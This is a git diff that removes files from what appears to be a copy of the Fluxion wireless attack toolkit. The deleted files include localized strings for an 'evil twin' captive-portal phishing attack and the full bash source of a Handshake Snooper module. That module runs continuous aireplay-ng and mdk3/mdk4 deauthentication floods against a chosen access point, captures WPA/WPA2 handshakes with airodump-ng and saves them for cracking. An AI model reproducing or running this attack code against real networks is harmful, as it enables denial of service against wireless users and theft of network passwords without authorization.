>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." -CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" -CaptivePortalConnectivityEmulatedOption="emulated" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Captive Portal/language/tk.sh b/fluxion_origins/attacks/Captive Portal/language/tk.sh deleted file mode 100755 index deb6128..0000000 --- a/fluxion_origins/attacks/Captive Portal/language/tk.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env bash -# identifier: Esaret Portalı -# description: "Kötü ikiz" bir erişim noktası oluşturur. - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalJammerInterfaceQuery="Select an interface for jamming." -CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." -CaptivePortalCannotStartInterfaceError="${CRed}Esaret Portali arayuzu baslatilamadi$CClr, geri donuluyor!" -CaptivePortalStaringAPServiceNotice="Esaret Portali Erisim Noktasi servisi baslatiliyor..." -CaptivePortalStaringAPRoutesNotice="Esaret Portali Erisim Noktasi yonlendirmeleri baslatiliyor..." -CaptivePortalStartingDHCPServiceNotice="Erisim noktasi DHCP servisi daemon olarak baslatiliyor..." -CaptivePortalStartingDNSServiceNotice="Erisim noktasi DNS servisi deamon olarak baslatiliyor..." -CaptivePortalStartingWebServiceNotice="Erisim noktasi Esaret Portali deamon olarak baslatiliyor..." -CaptivePortalStartingJammerServiceNotice="Erisim noktasi jammer deamon olarak baslatiliyor..." -CaptivePortalStartingAuthenticatorServiceNotice="Dogrulayici kodu baslatiliyor..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalAPServiceQuery="Select an access point service" -CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" -CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalVerificationMethodQuery="Sifre dogrulama methodu seciniz" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalCertificateSourceQuery="Esaret Portali icin SSL sertifika kaynagi seciniz." -CaptivePortalCertificateSourceGenerateOption="SSL sertifikasi olustur" -CaptivePortalCertificateSourceRescanOption="SSL sertifikasi belirle (${CClr}tekrar ara$CGry)" -CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" -CaptivePortalUIQuery="Duzenbaz ag icin Esaret Portali arayuzu seciniz." -CaptivePortalGenericInterfaceOption="Generic Portal" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." -CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" -CaptivePortalConnectivityEmulatedOption="emulated" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Captive Portal/language/zh.sh b/fluxion_origins/attacks/Captive Portal/language/zh.sh deleted file mode 100755 index 7ce35ce..0000000 --- a/fluxion_origins/attacks/Captive Portal/language/zh.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env bash -# identifier: 专属门户 -# description: 创建一个“邪恶的双胞胎”接入点。 - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalJammerInterfaceQuery="Select an interface for jamming." -CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." -CaptivePortalCannotStartInterfaceError="${CRed}无法启动网络功击接口$CClr, 返回" -CaptivePortalStaringAPServiceNotice="开始建立钓鱼热点AP..." -CaptivePortalStaringAPRoutesNotice="启动钓鱼热点AP路由服务..." -CaptivePortalStartingDHCPServiceNotice="启动接入点DHCP服务作为守护进程..." -CaptivePortalStartingDNSServiceNotice="启动接入点DNS服务作为守护进程..." -CaptivePortalStartingWebServiceNotice="启动钓鱼热点作为守护进程..." -CaptivePortalStartingJammerServiceNotice="启动接入点干扰器作为守护进程..." -CaptivePortalStartingAuthenticatorServiceNotice="启动验证器脚本..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalAPServiceQuery="Select an access point service" -CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" -CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalVerificationMethodQuery="请选择验证密码方式" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalCertificateSourceQuery="选择钓鱼认证门户的SSL证书来源" -CaptivePortalCertificateSourceGenerateOption="创建SSL证书" -CaptivePortalCertificateSourceRescanOption="检测SSL证书 (${CClr}再次搜索$CGry)" -CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" -CaptivePortalUIQuery="选择钓鱼热点的认证网页界面" -CaptivePortalGenericInterfaceOption="通用认证网页" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalConnectivityQuery="为流氓网络选择Internet连接类型" -CaptivePortalConnectivityDisconnectedOption="断开原网络 (${CGrn}推荐$CClr)" -CaptivePortalConnectivityEmulatedOption="仿真" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Captive Portal/lib/authenticator.php b/fluxion_origins/attacks/Captive Portal/lib/authenticator.php deleted file mode 100644 index 885ae90..0000000 --- a/fluxion_origins/attacks/Captive Portal/lib/authenticator.php +++ /dev/null @@ -1,67 +0,0 @@ -SuccessSuccess - diff --git a/fluxion_origins/attacks/Captive Portal/lib/connectivity responses/Apple/index.php b/fluxion_origins/attacks/Captive Portal/lib/connectivity responses/Apple/index.php deleted file mode 100644 index bc86108..0000000 --- a/fluxion_origins/attacks/Captive Portal/lib/connectivity responses/Apple/index.php +++ /dev/null @@ -1,2 +0,0 @@ - ============= # -# ============================================================ # - -HandshakeSnooperState="Not Ready" - -# ============================================================ # -# ========= < Handshake Snooper Helper Subroutines > ========= # -# ============================================================ # -handshake_snooper_header() { - fluxion_header; fluxion_target_show; echo -} - -# ============================================================ # -# ============= < Handshake Snooper Subroutines > ============ # -# ============================================================ # -handshake_snooper_arbiter_daemon() { - if [ ${#@} -lt 1 -o "$HandshakeSnooperState" != "Running" ]; then - return 1; - fi - - # Start daemon in the running state to continue execution until aborted, - # or until a hash has been verified to exist in the capture file. - # NOTE: The line below must remain before trap to prevent race conditions. - local handshake_snooper_arbiter_daemon_state="running" - - handshake_snooper_arbiter_daemon_abort() { - handshake_snooper_arbiter_daemon_state="aborted" - if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then - kill $handshake_snooper_arbiter_daemon_viewerPID - fi - - handshake_snooper_stop_deauthenticator - handshake_snooper_stop_captor - - local -r now=$(env -i date '+%H:%M:%S') - echo -e "[$now] $HandshakeSnooperArbiterAbortedWarning" >> \ - "$FLUXIONWorkspacePath/handshake_snooper.log" - exit 2 - } - - trap handshake_snooper_arbiter_daemon_abort SIGABRT - - source "$FLUXIONLibPath/HashUtils.sh" - source "$FLUXIONLibPath/ColorUtils.sh" - - # Cleanup files we've previously created to avoid conflicts. - sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/dump-*" - - # Display some feedback to the user to assure verifier is working. - xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" \ - -title "Handshake Snooper Arbiter Log" -e \ - "tail -f \"$FLUXIONWorkspacePath/handshake_snooper.log\"" & - local handshake_snooper_arbiter_daemon_viewerPID=$! - - local now=$(env -i date '+%H:%M:%S') - echo -e "[$now] $HandshakeSnooperStartingArbiterNotice" > \ - "$FLUXIONWorkspacePath/handshake_snooper.log" - - handshake_snooper_start_captor - handshake_snooper_start_deauthenticator - - local handshake_snooper_arbiter_daemon_verified=1 # Assume it hasn't been verified yet (1 => false/error). - - # Keep snooping and verifying until we've got a valid hash from the capture file. - while [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; do - now=$(env -i date '+%H:%M:%S') - echo -e "[$now] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >> \ - "$FLUXIONWorkspacePath/handshake_snooper.log" - sleep $HandshakeSnooperVerifierInterval & - wait $! # Using wait to asynchronously catch flags while waiting. - - # If synchronously searching, stop the captor and deauthenticator before checking. - if [ "$HandshakeSnooperVerifierSynchronicity" = "blocking" ]; then - now=$(env -i date '+%H:%M:%S') - echo -e "[$now] $HandshakeSnooperStoppingForVerifierNotice" >> \ - "$FLUXIONWorkspacePath/handshake_snooper.log" - handshake_snooper_stop_deauthenticator - handshake_snooper_stop_captor - mv "$FLUXIONWorkspacePath/capture/dump-01.cap" \ - "$FLUXIONWorkspacePath/capture/recent.cap" - else - pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" \ - -o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &> \ - $FLUXIONOutputDevice - fi - - now=$(env -i date '+%H:%M:%S') - echo -e "[$now] $HandshakeSnooperSearchingForHashesNotice" >> \ - "$FLUXIONWorkspacePath/handshake_snooper.log" - hash_check_handshake "$HandshakeSnooperVerifierIdentifier" \ - "$FLUXIONWorkspacePath/capture/recent.cap" \ - "$FluxionTargetSSID" "$FluxionTargetMAC" - handshake_snooper_arbiter_daemon_verified=$? - - # If synchronously searching, restart the captor and deauthenticator after checking. - if [ "$HandshakeSnooperVerifierSynchronicity" = "blocking" -a \ - $handshake_snooper_arbiter_daemon_verified -ne 0 ]; then - sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/*" - - handshake_snooper_start_captor - handshake_snooper_start_deauthenticator - fi - done - - # Assure all processes are stopped before proceeding. - handshake_snooper_stop_deauthenticator - handshake_snooper_stop_captor - - local completionTime=$(env -i date '+%H:%M:%S') - echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >> \ - "$FLUXIONWorkspacePath/handshake_snooper.log" - echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >> \ - "$FLUXIONWorkspacePath/handshake_snooper.log" - - # Assure we've got a directory to store hashes into. - mkdir -p "$FLUXIONPath/attacks/Handshake Snooper/handshakes/" - - # Move handshake to storage if one was acquired. - mv "$FLUXIONWorkspacePath/capture/recent.cap" \ - "$FLUXIONPath/attacks/Handshake Snooper/handshakes/$FluxionTargetSSIDClean-$FluxionTargetMAC.cap" - - # Signal parent process the verification terminated. - kill -s SIGABRT $1 -} - -handshake_snooper_stop_captor() { - if [ "$HandshakeSnooperCaptorPID" ]; then - kill -s SIGINT $HandshakeSnooperCaptorPID &> $FLUXIONOutputDevice - fi - - HandshakeSnooperCaptorPID="" -} - -handshake_snooper_start_captor() { - if [ "$HandshakeSnooperCaptorPID" ]; then return 0; fi - if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi - - handshake_snooper_stop_captor - - xterm $FLUXIONHoldXterm -title "Handshake Captor (CH $FluxionTargetChannel)" \ - $TOPLEFT -bg "#000000" -fg "#FFFFFF" -e \ - airodump-ng --ignore-negative-one -d $FluxionTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $FluxionTargetChannel -a $HandshakeSnooperJammerInterface & - local parentPID=$! - - while [ ! "$HandshakeSnooperCaptorPID" ]; do - sleep 1 & - wait $! - HandshakeSnooperCaptorPID=$(pgrep -P $parentPID) - done -} - -handshake_snooper_stop_deauthenticator() { - if [ "$HandshakeSnooperDeauthenticatorPID" ]; then - kill $HandshakeSnooperDeauthenticatorPID &> $FLUXIONOutputDevice - fi - - HandshakeSnooperDeauthenticatorPID="" -} - -handshake_snooper_start_deauthenticator() { - if [ "$HandshakeSnooperDeauthenticatorPID" ]; then return 0; fi - if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi - - handshake_snooper_stop_deauthenticator - - # Prepare deauthenticators - case "$HandshakeSnooperDeauthenticatorIdentifier" in - "$HandshakeSnooperMdk3MethodOption") - echo "$FluxionTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst ;; - esac - - # Start deauthenticators. - case "$HandshakeSnooperDeauthenticatorIdentifier" in - "$HandshakeSnooperAireplayMethodOption") - xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \ - -title "Deauthenticating all clients on $FluxionTargetSSID" -e \ - "while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $FluxionTargetMAC --ignore-negative-one $HandshakeSnooperJammerInterface; done" & - HandshakeSnooperDeauthenticatorPID=$! - ;; - "$HandshakeSnooperMdk3MethodOption") - if ! [ -x "$(command -v mdk4)" ];then - xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \ - -title "Deauthenticating all clients on $FluxionTargetSSID" -e \ - "while true; do sleep 7; timeout 3 mdk3 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $FluxionTargetChannel; done" & - HandshakeSnooperDeauthenticatorPID=$! - else - xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \ - -title "Deauthenticating all clients on $FluxionTargetSSID" -e \ - "while true; do sleep 7; timeout 3 mdk4 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $FluxionTargetChannel; done" & - HandshakeSnooperDeauthenticatorPID=$! - fi - - ;; - esac -} - - -handshake_snooper_unset_deauthenticator_identifier() { - if [ ! "$HandshakeSnooperDeauthenticatorIdentifier" ]; then return 1; fi - HandshakeSnooperDeauthenticatorIdentifier="" -} - -handshake_snooper_set_deauthenticator_identifier() { - if [ "$HandshakeSnooperDeauthenticatorIdentifier" ]; then return 0; fi - - handshake_snooper_unset_deauthenticator_identifier - - local methods=( - "$HandshakeSnooperMonitorMethodOption" - "$HandshakeSnooperAireplayMethodOption" - "$HandshakeSnooperMdk3MethodOption" - "$FLUXIONGeneralBackOption" - ) - io_query_choice "$HandshakeSnooperMethodQuery" methods[@] - - HandshakeSnooperDeauthenticatorIdentifier=$IOQueryChoice - - echo - - if [ "$HandshakeSnooperDeauthenticatorIdentifier" = \ - "$FLUXIONGeneralBackOption" ]; then - handshake_snooper_unset_deauthenticator_identifier - return 1 - fi -} - -handshake_snooper_unset_jammer_interface() { - HandshakeSnooperJammerInterfaceOriginal="" - - if [ ! "$HandshakeSnooperJammerInterface" ]; then return 1; fi - HandshakeSnooperJammerInterface="" - - # Check if we're automatically selecting the interface & skip - # this one if so to take the user back properly. - local interfacesAvailable - readarray -t interfacesAvailable < <(attack_targetting_interfaces) - - if [ ${#interfacesAvailable[@]} -le 1 ]; then return 2; fi -} - -handshake_snooper_set_jammer_interface() { - if [ "$HandshakeSnooperJammerInterface" ]; then return 0; fi - - # NOTICE: The code below should be excluded because the interface selected - # below is also being used as the monitoring interface (required)! - #if [ "$HandshakeSnooperDeauthenticatorIdentifier" = \ - # "$HandshakeSnooperMonitorMethodOption" ]; then return 0; fi - - if [ ! "$HandshakeSnooperJammerInterfaceOriginal" ]; then - echo "Running get jammer interface." > $FLUXIONOutputDevice - if ! fluxion_get_interface attack_targetting_interfaces \ - "$HandshakeSnooperJammerInterfaceQuery"; then - echo "Failed to get jammer interface" > $FLUXIONOutputDevice - return 1 - fi - HandshakeSnooperJammerInterfaceOriginal=$FluxionInterfaceSelected - fi - - local selectedInterface=$HandshakeSnooperJammerInterfaceOriginal - - if ! fluxion_allocate_interface $selectedInterface; then - echo "Failed to allocate jammer interface" > $FLUXIONOutputDevice - return 2 - fi - - echo "Succeeded get jammer interface." > $FLUXIONOutputDevice - HandshakeSnooperJammerInterface=${FluxionInterfaces[$selectedInterface]} -} - -handshake_snooper_unset_verifier_identifier() { - if [ ! "$HandshakeSnooperVerifierIdentifier" ]; then return 1; fi - HandshakeSnooperVerifierIdentifier="" -} - -handshake_snooper_set_verifier_identifier() { - if [ "$HandshakeSnooperVerifierIdentifier" ]; then return 0; fi - - handshake_snooper_unset_verifier_identifier - - local choices=( - "$FLUXIONHashVerificationMethodPyritOption" - "$FLUXIONHashVerificationMethodAircrackOption" - "$FLUXIONHashVerificationMethodCowpattyOption" - "$FLUXIONGeneralBackOption" - ) - io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@] - - echo - - case "$IOQueryChoice" in - "$FLUXIONHashVerificationMethodPyritOption") - HandshakeSnooperVerifierIdentifier="pyrit" ;; - "$FLUXIONHashVerificationMethodAircrackOption") - HandshakeSnooperVerifierIdentifier="aircrack-ng" ;; - "$FLUXIONHashVerificationMethodCowpattyOption") - HandshakeSnooperVerifierIdentifier="cowpatty" ;; - "$FLUXIONGeneralBackOption") - handshake_snooper_unset_verifier_identifier - return 1 - ;; - esac -} - -handshake_snooper_unset_verifier_interval() { - if [ ! "$HandshakeSnooperVerifierInterval" ]; then return 1; fi - HandshakeSnooperVerifierInterval="" -} - -handshake_snooper_set_verifier_interval() { - if [ "$HandshakeSnooperVerifierInterval" ]; then return 0; fi - - handshake_snooper_unset_verifier_interval - - local choices=("$HandshakeSnooperVerifierInterval30SOption" "$HandshakeSnooperVerifierInterval60SOption" "$HandshakeSnooperVerifierInterval90SOption" "$FLUXIONGeneralBackOption") - io_query_choice "$HandshakeSnooperVerifierIntervalQuery" choices[@] - - case "$IOQueryChoice" in - "$HandshakeSnooperVerifierInterval30SOption") - HandshakeSnooperVerifierInterval=30 ;; - "$HandshakeSnooperVerifierInterval60SOption") - HandshakeSnooperVerifierInterval=60 ;; - "$HandshakeSnooperVerifierInterval90SOption") - HandshakeSnooperVerifierInterval=90 ;; - "$FLUXIONGeneralBackOption") - handshake_snooper_unset_verifier_interval - return 1 - ;; - esac -} - -handshake_snooper_unset_verifier_synchronicity() { - if [ ! "$HandshakeSnooperVerifierSynchronicity" ]; then return 1; fi - HandshakeSnooperVerifierSynchronicity="" -} - -handshake_snooper_set_verifier_synchronicity() { - if [ "$HandshakeSnooperVerifierSynchronicity" ]; then return 0; fi - - handshake_snooper_unset_verifier_synchronicity - - local choices=( - "$HandshakeSnooperVerifierSynchronicityAsynchronousOption" - "$HandshakeSnooperVerifierSynchronicitySynchronousOption" - "$FLUXIONGeneralBackOption" - ) - - io_query_choice "$HandshakeSnooperVerifierSynchronicityQuery" choices[@] - - case "$IOQueryChoice" in - "$HandshakeSnooperVerifierSynchronicityAsynchronousOption") - HandshakeSnooperVerifierSynchronicity="non-blocking" ;; - "$HandshakeSnooperVerifierSynchronicitySynchronousOption") - HandshakeSnooperVerifierSynchronicity="blocking" ;; - "$FLUXIONGeneralBackOption") - handshake_snooper_unset_verifier_synchronicity - return 1 - ;; - esac -} - - -# ============================================================ # -# =================== < Parse Parameters > =================== # -# ============================================================ # -if [ ! "$HandshakeSnooperCLIArguments" ]; then - if ! HandshakeSnooperCLIArguments=$( - getopt --options="v:i:j:a" \ - --longoptions="verifier:,interval:,jammer:,asynchronous" \ - --name="Handshake Snooper V$FLUXIONVersion.$FLUXIONRevision" -- "$@" - );then - echo -e "${CRed}Aborted$CClr, parameter error detected..." - sleep 5 - fluxion_handle_exit - fi - - declare -r HandshakeSnooperCLIArguments=$HandshakeSnooperCLIArguments - - eval set -- "$HandshakeSnooperCLIArguments" # Set environment parameters. -fi - - -# ============================================================ # -# ============= < Argument Loaded Configurables > ============ # -# ============================================================ # -while [ "$1" != "" -a "$1" != "--" ]; do - case "$1" in - -v|--verifier) - HandshakeSnooperVerifierIdentifier=$2; shift;; - -i|--interval) - HandshakeSnooperVerifierInterval=$2; shift;; - -j|--jammer) - HandshakeSnooperJammerInterfaceOriginal=$2; shift;; - -a|--asynchronous) - HandshakeSnooperVerifierSynchronicity="non-blocking";; - esac - shift # Shift new parameters -done - - -# ============================================================ # -# ===================== < Fluxion Hooks > ==================== # -# ============================================================ # -attack_targetting_interfaces() { - interface_list_wireless - local interface - for interface in "${InterfaceListWireless[@]}"; do - echo "$interface" - done -} - -attack_tracking_interfaces() { - interface_list_wireless - local interface - for interface in "${InterfaceListWireless[@]}"; do - echo "$interface" - done - echo "" # This enables the Skip option. -} - -unprep_attack() { - HandshakeSnooperState="Not Ready" - - handshake_snooper_unset_verifier_synchronicity - handshake_snooper_unset_verifier_interval - handshake_snooper_unset_verifier_identifier - handshake_snooper_unset_jammer_interface - handshake_snooper_unset_deauthenticator_identifier - - sandbox_remove_workfile "$FLUXIONWorkspacePath/capture" -} - -prep_attack() { - mkdir -p "$FLUXIONWorkspacePath/capture" - - IOUtilsHeader="handshake_snooper_header" - - # Removed read-only due to local constant shadowing bug. - # I've reported the bug, we can add it when fixed. - local sequence=( - "set_deauthenticator_identifier" - "set_jammer_interface" - "set_verifier_identifier" - "set_verifier_interval" - "set_verifier_synchronicity" - ) - - if ! fluxion_do_sequence handshake_snooper sequence[@]; then - return 1 - fi - - HandshakeSnooperState="Ready" -} - -load_attack() { - local -r configurationPath=$1 - - local configuration - readarray -t configuration < <(more "$configurationPath") - - HandshakeSnooperDeauthenticatorIdentifier=${configuration[0]} - HandshakeSnooperJammerInterfaceOriginal=${configuration[1]} - HandshakeSnooperVerifierIdentifier=${configuration[2]} - HandshakeSnooperVerifierInterval=${configuration[3]} - HandshakeSnooperVerifierSynchronicity=${configuration[4]} -} - -save_attack() { - local -r configurationPath=$1 - - # Store/overwrite attack configuration for pause & resume. - # Order: DeauthID, JammerWI, VerifId, VerifInt, VerifSync - echo "$HandshakeSnooperDeauthenticatorIdentifier" > "$configurationPath" - echo "$HandshakeSnooperJammerInterfaceOriginal" >> "$configurationPath" - echo "$HandshakeSnooperVerifierIdentifier" >> "$configurationPath" - echo "$HandshakeSnooperVerifierInterval" >> "$configurationPath" - echo "$HandshakeSnooperVerifierSynchronicity" >> "$configurationPath" -} - -stop_attack() { - if [ "$HandshakeSnooperArbiterPID" ]; then - kill -s SIGABRT $HandshakeSnooperArbiterPID &> $FLUXIONOutputDevice - fi - - HandshakeSnooperArbiterPID="" - - HandshakeSnooperState="Stopped" -} - -start_attack() { - if [ "$HandshakeSnooperState" = "Running" ]; then return 0; fi - if [ "$HandshakeSnooperState" != "Ready" ]; then return 1; fi - HandshakeSnooperState="Running" - - handshake_snooper_arbiter_daemon $$ &> $FLUXIONOutputDevice & - HandshakeSnooperArbiterPID=$! -} - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Handshake Snooper/language/ar.sh b/fluxion_origins/attacks/Handshake Snooper/language/ar.sh deleted file mode 100644 index c5585cc..0000000 --- a/fluxion_origins/attacks/Handshake Snooper/language/ar.sh +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env bash -# identifier: Handshake Snopper -# description: Acquires WPA/WPA2 encryption hashes. - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperJammerInterfaceQuery="إختر بطاقة شبكة من أجل المراقبة والتشويش." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperMethodQuery="إختر طريقة لاسترجاع المصافحة" -HandshakeSnooperMonitorMethodOption="مراقبة (${CYel}passive$CClr)" -HandshakeSnooperAireplayMethodOption="الغاء المصادقة aireplay-ng (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="الغاء المصادقة mdk3 (${CRed}aggressive$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierIntervalQuery="كم مرة يجب على المدقق التحقق من المصافحة؟" -HandshakeSnooperVerifierInterval30SOption="كل 30 ثانية (${CGrn}مستحسن${CClr})." -HandshakeSnooperVerifierInterval60SOption="كل 60 ثانية." -HandshakeSnooperVerifierInterval90SOption="كل 90 ثانية." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierSynchronicityQuery="كيف ينبغي على التحقق ان يحدث؟" -HandshakeSnooperVerifierSynchronicityAsynchronousOption="غير تزامني (${CYel}للأنظمةالسريعة فقط${CClr})." -HandshakeSnooperVerifierSynchronicitySynchronousOption="تزامني (${CGrn}مستحسن${CClr})." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperStartingArbiterNotice="${CCyn}متطفل المصافحة$CClr يشتغل." -HandshakeSnooperSnoopingForNSecondsNotice="التطفل لـ \$HandshakeSnooperVerifierInterval ثواني." -HandshakeSnooperStoppingForVerifierNotice="وقف المتطفل والتحقق من وجود التجزئة." -HandshakeSnooperSearchingForHashesNotice="البحث عن التجزئات في ملف الالتقاط." -HandshakeSnooperArbiterAbortedWarning="${CYel}تم الإحباط${CClr}: تم إحباط العملية ، ولم يتم العثور على تجزئة صالحة." -HandshakeSnooperArbiterSuccededNotice="${CGrn}نجاح${CClr}: تم الكشف عن تجزئة صالحة وحفظها إلى قاعدة بيانات فلاكسيون." -HandshakeSnooperArbiterCompletedTip="${CBCyn}متطفل المصافحة$CBYel اكتمل الهجوم ، أغلق هذه النافذة وابدأ في هجوم آخر.$CClr" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Handshake Snooper/language/cs.sh b/fluxion_origins/attacks/Handshake Snooper/language/cs.sh deleted file mode 100755 index 2bc3269..0000000 --- a/fluxion_origins/attacks/Handshake Snooper/language/cs.sh +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env bash -# identifier: Handshake Snopper -# description: Acquires WPA/WPA2 encryption hashes. (translate) - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperMethodQuery="Select a method of handshake retrieval" -HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" -HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" -HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." -HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." -HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" -HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." -HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." -HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." -HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." -HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." -HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." -HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." 